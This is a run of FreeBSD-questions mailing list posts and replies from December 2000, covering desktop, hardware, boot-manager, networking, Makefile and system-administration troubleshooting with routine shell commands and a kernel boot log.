> mailing list archives and the KDE bug database, it seems that this has
> happened to others, but I couldn't find any fixes.  Any
> suggestions/patches available now, or is ctrl-alt-bksp the only
> option?
>
> Thanks,
>
> Rahul.
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From owner-freebsd-questions  Sun Dec 17  6:47:38 2000
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Hello all,

I have not yet looked at the link you've sent, but I would like to do
the same for our company, could you suggest a beginners site or better
how to do it? I suspect it's a fairly simple job, but I could be wrong.

I'll look at the link later, I hope it'll help me accomplish this task.

Thanks in advance.

Noor

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[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Boris
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Hello Dominic,

Saturday, December 16, 2000, 8:52:41 PM, you wrote:

DM> Hi there,


DM> I have set up an ipsec tunnel between my free BSD box and home and
DM> another at work. Everything is running smoothly except for one minor
DM> problem. I have no difficulty connecting to my work machines from
the
DM> Windows PC but I am unable to do so from the free BSD Box.


http://www.x-itec.de/projects/tuts/ipsec-howto.txt

I don´t know if it helps, but maybe


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Hello!

I need to write the following program (it might be a daemon
as well):

1) Sit and wait for a CD to be inserted
2) If CD is an AUDIO cd then DO THING1 (play cd)
3) if a CD is a DATA cd then DO THING2 (scan for mp3s, run mp3 player)
4) is a CD is an OTHER cd type the DO THING3 (play video?, nuts..)
5) If CD is ejected then do THING4

I have no problems with the THINGS :) But i do have
trouble with
1) Detecting the moment when a cd is inserted. Is there some
kind of event? Or must I poll the drive every second?
2) Detecting the type of CD. I have no clue how to do it.
3)  Detecting the moment when the user press the eject button

But that is not all of it. For the item (3) i have to MOUNT the CD in order
to read the files, but if i mount it, it will be locked, so the EJECT button
will not be usable. So, there are two ways to avoid it:
1) Have an event when EJECT button pressed on the drive
2) Do not lock the drive when disk mounted (is it possible?)


In case if you wonder why i need all of it  I am building a home multimedia
system. It is pentium mmx based, w/o monitor, all output goes to the LCD
display on the from pannel (20x4), a little keyboard is attach on the from
pannel
(custom made but fully PS/2 compatible), also, IR control is available via
IRDA
port. No fans, very quite, one HDD which is powered down automatically after
the
boot and whenever not needed. One LM7001 bases ISA FM card.
The hardware is ready and tested by now. Now I have to do the software. I
think
this will be the first time such thing is done using FreeBSD.

Regards,
Artem




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}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Steven
}Sent: Sunday, December 17, 2000 8:20 AM
}To: Jose A. Rodriguez
}Cc: FreeBSD Questions
}Subject: RE: Again there's problem accessing your ftp!
}
}
}> 	Once again you've problem with your ftp server on
}> freebsd.org, please try
}> to correct this situation because I want to finish 
}download your software.
}
}There are 10s of ftp mirrors, which generally are faster 
}than the official
}one as less people use them and you can get one 
}geographically closer. For
}instance I download from uk2 becuase it's on the same 
}backbone/isp as my
}university (and connection is 25mbit *supposidly*ahem*).
}
}See:
}
}http://www.freebsd.org/handbook/mirrors-ftp.html
}
}and find one which is online and closer to you.
}
...but I want *THAT* one!




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Dear,


On my Echos P133s Olivetti Laptop I tried to install FreeBsd 3.3. After =
creating the installation disks (I can't boot from the cd-rom drive) I =
tried to boot from these disks. This is what happened. After about one =
minute the system stops wtih the following statements:

/boot.config: -P
Keyboard: no
-
BTX loader 1.00 BTX version is 1.01

I had to reset the machine to be able to continue.  Are there any tools =
to detect the hardware that is in the system? I saw in the documentation =
on the CD-rom an advise on using the 'userconfig' tool. Where on the net =
can I find it?

What is going on??

On the laptop the only installed software is DOS 6.3.
The bios system is PhoenixBIOS Version 4.04 1.32.1
Cd-rom: ATAPI IDE CD-ROM device driver V 1.58
        MITSUMI ELECTRIC CO., LTD 1994-1998
        unit 0, slave, IRQ 14, I/O address 0x01F0
        MSCDEX Version 2.23

See you,


Michel

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<DIV><FONT face=3DArial size=3D2>On my Echos P133s Olivetti Laptop I =
tried to=20
install FreeBsd 3.3. After creating the installation disks (I can't boot =
from=20
the cd-rom drive) I tried to boot from these disks. This is what=20
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<DIV>&nbsp;</DIV>
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<DIV><FONT face=3DArial size=3D2>Keyboard: no</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>-</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>BTX loader 1.00 BTX version is =
1.01</FONT></DIV>
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<DIV><FONT face=3DArial size=3D2>I had to reset the machine to be able =
to=20
continue.&nbsp; Are there any tools to detect the hardware that is in =
the=20
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software is DOS=20
6.3.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The bios system is PhoenixBIOS Version =
4.04=20
1.32.1</FONT></DIV>
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V=20
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MITSUMI=20
ELECTRIC CO., LTD 1994-1998</FONT></DIV>
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unit 0,=20
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Hello,
I have this Mainboard with this Chipset:

ASUSTEK P4T chipset Intel 850

is this supported ??
I did not find this in the hardware compatibility list
This is the mainboard  and chipset for the Pentium 4 CPUs.
Thanks a lot

Rick




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Hello is the ULTRA 160 host adapters from Adaptect supported yet ???

thanks


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}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of 
}FreeBSD mailing
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}thanks
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Rick,
You betcha. Use the ahc driver.
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}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Jim Freeze
}Sent: Sunday, December 17, 2000 8:39 AM
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}Subject: OT: Opera Browser
}
}
}Has anyone used the Opera browser for linux on FBSD?
}If so, which version did you install and was the
}installation difficult?
}
}Currently I am running FBSD 3.4R.
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}Thanks
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yep, I installed it about a week ago on my laptop. Opera version is
4.0b3. Qt is 2.2.1. For the features Opera has, it seems to run ok.
Keep in mind the b3 part of the version is "beta 3", so it's not done.
I don't see it as full featured as other browsers, but I do notice
it's *MUCH* lighter on my 266mhz w/32mb ram laptop. It's got a 30 day
trial limit, but as long as I see progress, I'll continue to track
it's newer versions as they're released. As for your question about
the installation being difficult, all you have to do is to cd to the
proper ports directory and type "make install".
-Otter
p.s. if it matters, my laptop is 4.2-RELEASE running XF86-4.01_10



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I need to set up a number of identical machines. Everything will be just
alike except of course for the system anme and IP address, both of which
are set in /etc/rc.conf

Any sugestiosn as to the best way of doing this?


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I've just altered my login.conf to utilize MD5 for password encryption. 
However, I have no idea what to do with libcrypt* since they are linked to 
libdescrypt:

lrwxr-xr-x  1 root  wheel       13 Nov 27 11:01 /usr/lib/libcrypt.a -> 
libdescrypt.a
lrwxr-xr-x  1 root  wheel       14 Nov 27 11:01 /usr/lib/libcrypt.so -> 
libdescrypt.so
lrwxr-xr-x  1 root  wheel       16 Nov 27 11:01 /usr/lib/libcrypt.so.2 -> 
libdescrypt.so.2
lrwxr-xr-x  1 root  wheel       15 Nov 27 11:01 /usr/lib/libcrypt_p.a -> 
libdescrypt_p.a
-r--r--r--  1 root  wheel  1259976 Nov 27 11:14 /usr/lib/libcrypto.a
lrwxr-xr-x  1 root  wheel       14 Nov 27 11:14 /usr/lib/libcrypto.so -> 
libcrypto.so.1
-r--r--r--  1 root  wheel   782240 Nov 27 11:14 /usr/lib/libcrypto.so.1
-r--r--r--  1 root  wheel  1341920 Nov 27 11:14 /usr/lib/libcrypto_p.a

how do i change them to be linked against MD5? reboot is necessary after/for 
that?

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HI All, 

 I have a FreeBSD 4.2 installed on a Alpha 1000A 5/333 machine - everything works fine except that it couldn't do a complete reboot when we issue the reboot or shutdown -r command. It complains of 
TU PCI Bus Error : CSR5 : ffffffff
any one out there can help me with this problem - the thing is that the same machine could reboot from the command line easily when using Dec Unix or even Linux - Rather annoying 

Attached will be the dmesg 

help please -

Truly
Rosli Sukri

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FreeBSD 4.2-RELEASE #0: Fri Dec 15 05:54:57 MYT 2000 
    root@fuji.altek.com.my:/usr/src/sys/compile/GENERIC 
AlphaServer 1000/1000A 
AlphaServer 1000A 5/300, 300MHz 
8192 byte page size, 1 processor. 
CPU: EV5 (21164) major=5 minor=5 
OSF PAL rev: 0x1000600020117 
real memory  = 65019904 (63496K bytes) 
avail memory = 57032704 (55696K bytes) 
Preloaded elf kernel "kernel" at 0xfffffc0000766000. 
md0: Malloc disk 
cia0: ALCOR/ALCOR2, pass 3 
cia0: extended capabilities: 20<DWEN> 
pcib0: <2117x PCI host bus adapter> on cia0 
pci0: <PCI bus> on pcib0 
isab0: <Intel 82375EB PCI-EISA bridge> at device 7.0 on pci0 
isa0: <ISA bus> on isab0 
pcib1: <DEC 21050 PCI-PCI bridge> at device 8.0 on pci0 
pci2: <PCI bus> on pcib1 
isp0: <Qlogic ISP 1020/1040 PCI SCSI Adapter> port 0x9000-0x90ff mem 0x81010000-0x81010fff irq 0 at device 0.0 on pci2 
isp0: interrupting at CIA irq 0 
de0: <Digital 21140 Fast Ethernet> port 0x10000-0x1007f mem 0x81100000-0x8110007f irq 1 at device 11.0 on pci0 
de0: interrupting at CIA irq 1 
de0: DEC DE500-XA 21140 [10-100Mb/s] pass 1.2 
de0: address 00:00:f8:03:4e:db 
de0: enabling 10baseT port 
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 
fdc0: interrupting at ISA irq 6 
fdc0: FIFO enabled, 8 bytes threshold 
fd0: <1440-KB 3.5" drive> on fdc0 drive 0 
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0 
atkbd0: <AT Keyboard> irq 1 on atkbdc0 
atkbd0: interrupting at ISA irq 1 
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 
sc0: <System console> on isa0 
sc0: VGA <16 virtual consoles, flags=0x200> 
mcclock0: <MC146818A real time clock> at port 0x70-0x71 on isa0 
sio0 at port 0x3f8-0x3ff irq 4 on isa0 
sio0: type 16550A 
sio0: interrupting at ISA irq 4 
sio1: reserved for low-level i/o 
ppc0: <Parallel port> at port 0x3bc-0x3bf irq 7 on isa0 
ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode 
plip0: cannot reserve interrupt, failed. 
lpt0: <Printer> on ppbus0 
lpt0: Polled port 
ppi0: <Parallel I/O> on ppbus0 
ppc0: interrupting at ISA irq 7 
Timecounter "alpha"  frequency 300022344 Hz 
Waiting 15 seconds for SCSI devices to settle 
isp0: 0.2 get user period 0x19 offset 0xc flags 0xfd00 
isp0: 0.2 get current period 0x19 offset 0x0 flags 0xc500 
isp0: 0.2 set current period 0x19 offset 0xc flags 0xfd00 
isp0: 0.1 get user period 0x19 offset 0xc flags 0xfd00 
isp0: 0.1 get current period 0x19 offset 0x0 flags 0xc500 
isp0: 0.1 set current period 0x19 offset 0xc flags 0xdd00 
isp0: 0.5 get user period 0x19 offset 0xc flags 0xfd00 
isp0: 0.5 get current period 0x19 offset 0x0 flags 0xc500 
isp0: 0.5 set current period 0x19 offset 0xc flags 0xd500 
isp0: Auto Request Sense failed for 0.2.1 
isp0: Auto Request Sense failed for 0.2.1 
isp0: Auto Request Sense failed for 0.2.1 
isp0: Auto Request Sense failed for 0.2.1 
isp0: Auto Request Sense failed for 0.2.1 
isp0: Auto Request Sense failed for 0.2.2 
isp0: Auto Request Sense failed for 0.2.2 
isp0: Auto Request Sense failed for 0.2.2 
isp0: Auto Request Sense failed for 0.2.2 
isp0: Auto Request Sense failed for 0.2.2 
isp0: Auto Request Sense failed for 0.2.3 
isp0: Auto Request Sense failed for 0.2.3 
isp0: Auto Request Sense failed for 0.2.3 
isp0: Auto Request Sense failed for 0.2.3 
isp0: Auto Request Sense failed for 0.2.3 
isp0: Auto Request Sense failed for 0.2.4 
isp0: Auto Request Sense failed for 0.2.4 
isp0: Auto Request Sense failed for 0.2.4 
isp0: Auto Request Sense failed for 0.2.4 
isp0: Auto Request Sense failed for 0.2.4 
isp0: Auto Request Sense failed for 0.2.5 
isp0: Auto Request Sense failed for 0.2.5 
isp0: Auto Request Sense failed for 0.2.5 
isp0: Auto Request Sense failed for 0.2.5 
isp0: Auto Request Sense failed for 0.2.5 
isp0: Auto Request Sense failed for 0.2.6 
isp0: Auto Request Sense failed for 0.2.6 
isp0: Auto Request Sense failed for 0.2.6 
isp0: Auto Request Sense failed for 0.2.6 
isp0: Auto Request Sense failed for 0.2.6 
isp0: Auto Request Sense failed for 0.2.7 
isp0: Auto Request Sense failed for 0.2.7 
isp0: Auto Request Sense failed for 0.2.7 
isp0: Auto Request Sense failed for 0.2.7 
isp0: Auto Request Sense failed for 0.2.7 
Mounting root from ufs:/dev/da0a 
da0 at isp0 bus 0 target 1 lun 0 
da0: <DEC RZ29B    (C) DEC 0016> Fixed Direct Access SCSI-2 device 
isp0: Auto Request Sense failed for 0.2.0 
isp0: 0.1 get current period 0x19 offset 0xc flags 0xdd00 
da0: 10.000MB/s transfers (10.000MHz, offset 12), Tagged Queueing Enabled 
da0: 4091MB (8380080 512 byte sectors: 255H 63S/T 521C) 
(cd0:isp0:0:5:0): got CAM status 0x50 
(cd0:isp0:0:5:0): fatal error, failed to attach to device 
(cd0:isp0:0:5:0): lost device 
isp0: Auto Request Sense failed for 0.2.0 
(cd0:isp0:0:5:0): removing device entry 
isp0: Auto Request Sense failed for 0.2.0 
isp0: Auto Request Sense failed for 0.2.0 
(da1:isp0:0:2:0): got CAM status 0x4c 
(da1:isp0:0:2:0): fatal error, failed to attach to device 
(da1:isp0:0:2:0): lost device 
(da1:isp0:0:2:0): removing device entry 



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	I just installed freebsd for the first time.  I'm having some
	trouble getting X to work.  This is an old machine -
	IBM PS/ValuePoint 433SX/S
	At any rate I have looked on the board (the vid card is
	integrated into the board) and don't see anything I recognize as
	a video card.  I tried using the generic card in xf86config but
	when I try to run xprobe it can't write the mod lines.  When I
	try and start X I get -
	Modes  640x400
		   ^^^^^^^
	Mode name expected

	I thought the bios might tell me something but using 'del' 'esc'
	'F1' won't get me in.  Any help would be appreciated.
	Thanks,
	kent

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Christian Kuhtz <ck@gnu.org> types:
> Hey gang,
> 
> one of the machines here has two IDE disks, one with win98, the other with
> 4.2-STABLE.  I ran into a snag on my machine which prevented me from
> installing the boot loader at install time.  So, only way to boot FreeBSD is
> to tell the BIOS to boot directly off the 2nd drive.  Clumsy but it worked for
> now.  I want to change this and restore sanity.
> 
> Now, I need to build a boot floppy which can do enough stuff to install a
> FreeBSD boot loader instead of the Win98 MBR on the first drive after booting
> off the floppy.
> 
> My FreeBSD skills are a little rusty, and I need some help.  So, how do I do
> this?
> 
> Can somebody please send me a procedure or a pointer to a doc which describes
> how to do this?

You don't need a BSD boot floppy to install a boot loader - unless
there's some factor you haven't mentioned. To install the standard
boot manager, you use boot0cfg. You can install it from a running BSD
system. You install it on disk 0 (which should be /dev/ad0 for IDE and
/dev/da0 for SCSI) with a command like "/usr/sbin/boot0cfg -B
/dev/ad0". Some peoople install on both disks, so that F1 boots the
current disk, and F2 switches to the boot menu from the other
disk. For details see the boot0cfg man page.

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Mark Livingstone wrote:
> 
> I've just altered my login.conf to utilize MD5 for password encryption.
> However, I have no idea what to do with libcrypt* since they are linked to
> libdescrypt:
> 
> lrwxr-xr-x  1 root  wheel       13 Nov 27 11:01 /usr/lib/libcrypt.a ->
> libdescrypt.a
> lrwxr-xr-x  1 root  wheel       14 Nov 27 11:01 /usr/lib/libcrypt.so ->
> libdescrypt.so
> lrwxr-xr-x  1 root  wheel       16 Nov 27 11:01 /usr/lib/libcrypt.so.2 ->
> libdescrypt.so.2
> lrwxr-xr-x  1 root  wheel       15 Nov 27 11:01 /usr/lib/libcrypt_p.a ->
> libdescrypt_p.a
> -r--r--r--  1 root  wheel  1259976 Nov 27 11:14 /usr/lib/libcrypto.a
> lrwxr-xr-x  1 root  wheel       14 Nov 27 11:14 /usr/lib/libcrypto.so ->
> libcrypto.so.1
> -r--r--r--  1 root  wheel   782240 Nov 27 11:14 /usr/lib/libcrypto.so.1
> -r--r--r--  1 root  wheel  1341920 Nov 27 11:14 /usr/lib/libcrypto_p.a
> 
> how do i change them to be linked against MD5? reboot is necessary after/for
> that?

Your crypt link is pointing to DES, not MD5! Here is what i get:

grios@etosha$ ls -l libcrypt*
lrwxr-xr-x  1 root  wheel       11 Dec 16 19:49 libcrypt.a ->
libscrypt.a
lrwxr-xr-x  1 root  wheel       12 Dec 16 19:49 libcrypt.so ->
libscrypt.so
lrwxr-xr-x  1 root  wheel       14 Dec 16 19:49 libcrypt.so.2 ->
libscrypt.so.2
lrwxr-xr-x  1 root  wheel       13 Dec 16 19:49 libcrypt_p.a ->
libscrypt_p.a
-r--r--r--  1 root  wheel  1259976 Dec 16 19:56 libcrypto.a
lrwxr-xr-x  1 root  wheel       14 Dec 16 19:56 libcrypto.so ->
libcrypto.so.1
-r--r--r--  1 root  wheel   782240 Dec 16 19:56 libcrypto.so.1
-r--r--r--  1 root  wheel  1341920 Dec 16 19:56 libcrypto_p.a
grios@etosha$ 


I guess you should simply replace your link to point to the correct
files.
But first switch to single user mode (shutdown now).

I You would not need to reset your uptime status.

I hope it helps.


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John Bolster <j.bol@gte.net> types:
> I set up my FBSD 4.1 box with a 20MB /var and 14GB /usr and now I've spent
> ages configuring everything else- dns, ftpd, httpd, firewall, etc.  Now I
> come to use it as a mail server for over 100 people, I've realized that /var
> needed to be much bigger and I'll probably never have much use for all the
> /usr space.
> 
> I've read that there is no Partition Magic type program for FBSD, so I
> assume I'll have to move /var/mail and /var/ftp somewhere else where there
> is more room.
> 
> Can anyone tell me if this is the best way to deal with this, if there is a
> better idea, and (ideally) how to do it?

Christian has it right - but makes the symlink setup to difficult.
It's probably best to symlink the entire directory, so that new users
don't wind up on /var:

# mkdir /usr/var/mail
# mv /var/mail/* /usr/var/mail
# rmdir /var/mail
# ln -s /usr/var/mail /var

If you really want to symlink individual users, you can use
wildcarding on the ln to do it all like so:

# mkdir /usr/mail
# mv /var/mail/* /usr/mail
# ln -s /usr/mail/* /var/mail

Note that mail being delivered during either of this procedures could
be lost, so you should disable mail delivery. If your users don't log
on directly, you can just kill your SMTP server and restart it.

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	As others said, you will have to cvsup your ports tree to get the
right patches and such.   One of the easiest ways of getting started on
this is the cvsupit package.   Try downloading ( or from an install CD )
and installing the package or make the port.  It's at 
/usr/ports/net/cvsupit   
	It gives you a really easy interface to cvsup and works well till
you have a chance to figure out supfiles and such.  When you add the
package it immediately runs cvsup.  If you just want to cvsup your ports,
pick none from the first screen, continue and then say yes to ports tree
updating. After a while you'll have a new ports tree.
	Others have said that pkg_delete does a little better job of
cleaning everything out than make deinstall does.  So try pkg_delete
kdebase-1.x (or whatever pkg_info tells you it is called) and it will tell
you which packages depend on it that you need to delete.  Delete all of
them then do a make clean in the ports directory for kde 1.x.  It should
clean all the junk from each of the packages under kde1.x.
	Then make qt2 with gif support (if you want) and then make install
clean kde2.  Koffice is really not very stable for me, though it shows a
lot of promise.  Konqueror is simply great.  As another data point it took
3.5 hours to build on a duron 700 with ata66 hard drives and a cable
modem.
	Have fun

							Tim

On Sat, 16 Dec 2000, Mark Hummel wrote:

> I would like to upgrade KDE from 1.x to 2.0.1.  so I can check out
> KOffice and Konqueror.   What's the easiest way for a newbie to do
> this?  I don't know how to CVsup yet, but I'm learning.
> 
> Mark
> 
> 
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> Nils Bokermann wrote:
> >
> > Hi!
> >
> > The following problem: I have a DSL-Connection to the internet, and a
> > few client behind the BSD-Box (see picture). I can do connections to the
> > internet, nearly everything works. But I DO have 2 systems (which I
> > desperatly need), which do NOT fragment the packets. When using a Linux
> > Router (don't blame me for that) everything just works fine. Is there a
> > problem with my configuration, or is that a BSD-specific-Problem.
> >
> > client <-- ethernet (MTU=1500) --> FreeBSD-Box <-- DSL
> > (MTU=1492)-->Provider(german Telekom)
> >
> > unakruemel# uname -a
> > FreeBSD kruemel.monster.sensibelchen.org 4.2-BETA FreeBSD 4.2-BETA #4:
> > Fri Dec  8 15:27:31 CET 2000
root@kruemel.monster.sensibelchen.org:/usr/src/sys/compile/KRUEMEL
> >  i386
> >
> > kruemel# ipfw list
> > 00100 allow ip from any to any via lo0
> > 00200 allow ip from any to any via rl0
> > 00300 allow tcp from any to any out xmit tun0 setup
> > 00400 allow tcp from any to any via tun0 established
> > 00500 allow udp from any to any via tun0
> > 00600 allow log logamount 100 tcp from any to any 80 setup
> > 00700 allow log logamount 100 tcp from any to any 22 setup
> > 00800 allow log logamount 100 tcp from any to any 20 setup
> > 00900 allow log logamount 100 tcp from any to any 25 setup
> > 01000 reset log logamount 100 tcp from any to any 113 in recv tun0
> > 01100 allow udp from any to any 53 out xmit tun0
> > 01200 allow udp from any 53 to any in recv tun0
> > 65435 allow icmp from any to any
> > 65435 deny log logamount 100 ip from any to any
> > 65535 deny ip from any to any
> >ng thatyou are using ipfw to filter rather than the
>
> it's intersting thatyou are using ipfw to filter rather than the
> filtering in ppp. but no matter it should still work.
>
The maximum frame size that can be passed through a dsl router is 1492
because the modem adds an 8 frame header and trailer which then adds up to
1500 the max mtu value... I have had the same problem when i first setup my
dsl over my lan... Even though the max mtu value for a dsl connection is
1492 it dosen't mean that your system can process that size packet to the
internet.. On my lan the magical mtu value was 1464 bfore packets were
fragmented. So you may have to ajust accordingly. If you have a windows box
on ur network you can do the following do determine the max mtu size for
your network.

PING -f -l <MTU size> <IP address of default gateway>




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* User Raymond <raymond@one.com.au> [001217 01:16] wrote:

> Yet, I can't seem to get my code to connect to a shared memory segment
> greater than 64KB.
> 
> Am I missing something (like a maximum size)?

It's hard to help without:
1) a test program
2) the error you are getting.

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* stanb@panix.com <stanb@panix.com> [001217 08:18] wrote:
> I need to set up a number of identical machines. Everything will be just
> alike except of course for the system anme and IP address, both of which
> are set in /etc/rc.conf
> 
> Any sugestiosn as to the best way of doing this?

http://people.freebsd.org/~alfred/pxe/

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Marc W <mwlist@akira.lanfear.com> types:
> Hello!
> 
> 	Hope this an appropriate question for the list.  I've got a Makefile
> and it's got the usual stuff in it, but there's one place where I can't quite
> find a way to make the rules generic.  I have to run some header files through
> Trolltech's MOC, and then compile the output.
> 
> 	So, my rules have to be like:
> 
> OBJS=moc_widget.o moc_moo.o main.o
> 
> .cc.o:
> 	$(CC) $(CFLAGS) etc ...
> 
> moc_widget.cc:  widget.h
> 	$(MOC) widget.h -o widget.cc
> 
> moc_moo.cc: moo.h
> 	$(MOC) moo.h -o moo.cc
> 
> 	This kinda sucks because for each header I add that needs to be
> preprocessed, I have to add a new target.
> 
> 	Now, what I'd REALLY like is something like:
> 
> 
> OBJS=moc_widget.o moc_moo.o main.o
> 
> .cc.o:
> 	$(CC) $(CFLAGS) etc ...
> 
> moc_$(SOMETHING).cc:
> 	$(MOC) $(SOMETHING).h -o moc_$(SOMETHING).cc
> 
> 	Any suggestions on how to do this or something similar?

I believe you want a rule that looks like so:

.h.cc:
	$(MOC) `echo $(.IMPSRC) | sed -e s/moc_// -e s/cc/h/` -o $(.IMPSRC)

though i'm not sure about passing backticks through the rules. It
would be much simpler if ytou had the moc_ on the .h files as well, os
it would be:

.h.cc:
	$(MOC) $(PREFIX).h -o $(IMPSRC)


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dear sir,
          I have installed two operating systems in
my computer . One is FreeBSD, the other is 
Windows 98.
once i boot , i'm asked to choose between the BSD and
win98. now due to fluctuations my pc crashed, and i
had no other option but to install win 98 once again
which lies in my c-drive, whereas FreeBSD in d-drive.
now as i installed win 98 , the problem is now i don't
get the two options i.e., to choose between "98" or
"bsd". it directly boots to windows.
 now sir how do i get my freebsd back.
please help me out. i would be obliged if u could
rectify my problem.pls mail me back at
cyberdude7791?@yahoo.com
 thanking you
                              yours faithfully
                                vinod
 


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Hi!

Well, that's not a big problem if you know what to do. This happened
because Win98 install program overwritten the MBR (master boot record),
so the FBSD boot manager was erased. To restore the boot manager you
will have to run the freebsd install program (/stand/sysinstall) which is
automatically
run from CD-ROM or from FIX-IT floppies. Once you are in the install program
go into "Configure" -> "FDisk" -> select ad0 (or wd0, no matter) -> when in
the slice editor just hit ESCAPE -> now you are presented witha choise of
boot manager, select the first option (BootMgr) and OK.
Now you should be fine.

Good luck.

PS: You might have trouble russing install if you do not have installation
CDs,
or floppies or fix-it floppies. But i guess you gotta have something :)

Regards,
Artem

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> dear sir,
>           I have installed two operating systems in
> my computer . One is FreeBSD, the other is
> Windows 98.
> once i boot , i'm asked to choose between the BSD and
> win98. now due to fluctuations my pc crashed, and i
> had no other option but to install win 98 once again
> which lies in my c-drive, whereas FreeBSD in d-drive.
> now as i installed win 98 , the problem is now i don't
> get the two options i.e., to choose between "98" or
> "bsd". it directly boots to windows.
>  now sir how do i get my freebsd back.
> please help me out. i would be obliged if u could
> rectify my problem.pls mail me back at
> cyberdude7791?@yahoo.com
>  thanking you
>                               yours faithfully
>                                 vinod
>
>
>
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I think this is because 'kdeinit' has core-dumped and died, at
least that's been my experience with it.

Everytime I have installed either KDE or GNOME, I have ended up
removing it shortly thereafter because so many of the applications
seem to seg-fault consistently on FreeBSD.  I've never been a
dedicated user of either desktop, so I've never been very motivated
to try and figure out what the problem(s) is/are.


On Sun, Dec 17, 2000 at 12:17:25PM +0100, Rahul Siddharthan wrote:
> I recently installed FreeBSD 4.2-release, and yesterday built KDE
> version 2.0.1 from the newly updated ports tree.  It's very nice
> except that the logout buttons don't work.  From looking through
> mailing list archives and the KDE bug database, it seems that this has
> happened to others, but I couldn't find any fixes.  Any
> suggestions/patches available now, or is ctrl-alt-bksp the only
> option?
> 
> Thanks,
> 
> Rahul.
> 
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On Sun, Dec 17, 2000 at 10:53:13AM -0600, ktb wrote:
> 	I just installed freebsd for the first time.  I'm having some
> 	trouble getting X to work.  This is an old machine -
> 	IBM PS/ValuePoint 433SX/S
> 	At any rate I have looked on the board (the vid card is
> 	integrated into the board) and don't see anything I recognize as
> 	a video card.  I tried using the generic card in xf86config but
> 	when I try to run xprobe it can't write the mod lines.  When I
> 	try and start X I get -
> 	Modes  640x400
> 		   ^^^^^^^
> 	Mode name expected
> 
> 	I thought the bios might tell me something but using 'del' 'esc'
> 	'F1' won't get me in.  Any help would be appreciated.
> 	Thanks,
> 	kent
> 

	Forget it.  I snagged another old computer that had an S3 card
	built in.
 	Sorry for the post.
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Funny enough, kde2 logout didn't work for me in 4.1.1, but when I cvsupped
to 4.2-release and compiled and installed everything, logout worked fine.
Unless you want to be able to leave a desktop setup and have it come back
the way you left it, I don't think there's any important reason to get
logout working.  Besides, ctrl-alt-bksp is much faster than the kde2
logout.  
	Is there anything I can look for on my machine to see why logout
does work for me?  If anyone is willing and interested, I'll look at
whatever files control that.  I have no idea where, so somebody would have
to dig it up and tell me what files to check.

						Tim

On Sun, 17 Dec 2000, Rahul Siddharthan wrote:

> I recently installed FreeBSD 4.2-release, and yesterday built KDE
> version 2.0.1 from the newly updated ports tree.  It's very nice
> except that the logout buttons don't work.  From looking through
> mailing list archives and the KDE bug database, it seems that this has
> happened to others, but I couldn't find any fixes.  Any
> suggestions/patches available now, or is ctrl-alt-bksp the only
> option?
> 
> Thanks,
> 
> Rahul.
> 
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sir,
     i'm now in a fix as i dont have the installation
cds or floppies to fix the boot- problem. are
there any other options if so please notify me.
i would be grateful if u could specify the sites or
the files required to download .
          thanking you
                                    yours faithfully
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Hi,

I read from the 'sysinstall' manpage that you can create unattended FreeBSD
installations by using a configuration file, like the one supplied in
/usr/src/release/sysinstall/install.cfg.

I have gotten hold of a installation file that contains the following lines:

################################
# setup machine
sendmail_enable:NO
moused_port:/dev/psm0
moused_type:auto
moused_enable:YES
saver:logo
font8x8:iso-8x8
font8x14:iso-8x14
font8x16:iso-8x16
keyrate:fast
portmap_enable:NO
inetd_enable:NO

Is this a syntax that can be used to automatically configure /etc/rc.conf at
installation time?

I have found no mention of this particular syntax in the 'sysinstall'
manpage, nor anywhere else on the web for that matter.

Has anyone used this type of syntax before? Does it work? (I don't have a
machine to try it on, unfortunately). If so, where can I find more
information on this?

Thanks!

-Martin

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Now this is not good. Here is an advise: Keep the first install
CD somewhere around or make FIX-IT floppies after 
installation. This can save you some headaches in the future.

Well, now. You need to get a boot floppy. I THINK the install
floppies could do the job. You might go to 
ftp.freebsd.org/pub/FreeBSD/releases/i386/
then choose your release
go into ./floppies
download two *.flp files:

kern.flp
mfsroot.flp

here you will also find README file which says how
to use the flp files.

and one utility to write the floppy images on the floppy
which  is located (relative to the floppies dir):
../tools/fdimage.exe

that's it. Now you cannot miss. Just be carefull with what
you do to the disk and don't destroy the filesystems.


The other alternative is to swap the drive: e.g. reconnect
the FreeBSD drive as primary master and see of it boots,
if not, you might use some other tool, say, Norton Dist Editor.
If you don't have one - go back to the floppies. If you got you
FreeBSD boot, then you could run /stand/sysinstall right there and
what what i said. You could also try switching the first boot
device in the BIOS (make it D:) and see what happens.

----- Original Message ----- 
From: "vinod thomas" <cyberdude7791@yahoo.com>
To: "Artem Koutchine" <matrix@ipform.ru>
Sent: Sunday, December 17, 2000 9:36 PM
Subject: Re: booting problem


> dear sir,
>           but theres another problem- i dont have the
> freebsd cd now.could u give me another alternative or
> a site in the web where i could download the necessary
> files required for it.
> if so kindly specify the files and the site where i
> could download it.
>        thanking you for your advice
>                                     regards,
>                                      vinod
> 
> 
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Just download ftp://ftp.freebsd.org/pub/FreeBSD/tools/osbsbeta.exe
and install it from DOS mode.  MUCH simpler.

On Sun, Dec 17, 2000 at 09:59:12PM +0300, Artem Koutchine wrote:
> Now this is not good. Here is an advise: Keep the first install
> CD somewhere around or make FIX-IT floppies after 
> installation. This can save you some headaches in the future.
> 
> Well, now. You need to get a boot floppy. I THINK the install
> floppies could do the job. You might go to 
> ftp.freebsd.org/pub/FreeBSD/releases/i386/
> then choose your release
> go into ./floppies
> download two *.flp files:
> 
> kern.flp
> mfsroot.flp
> 
> here you will also find README file which says how
> to use the flp files.
> 
> and one utility to write the floppy images on the floppy
> which  is located (relative to the floppies dir):
> ../tools/fdimage.exe
> 
> that's it. Now you cannot miss. Just be carefull with what
> you do to the disk and don't destroy the filesystems.
> 
> 
> The other alternative is to swap the drive: e.g. reconnect
> the FreeBSD drive as primary master and see of it boots,
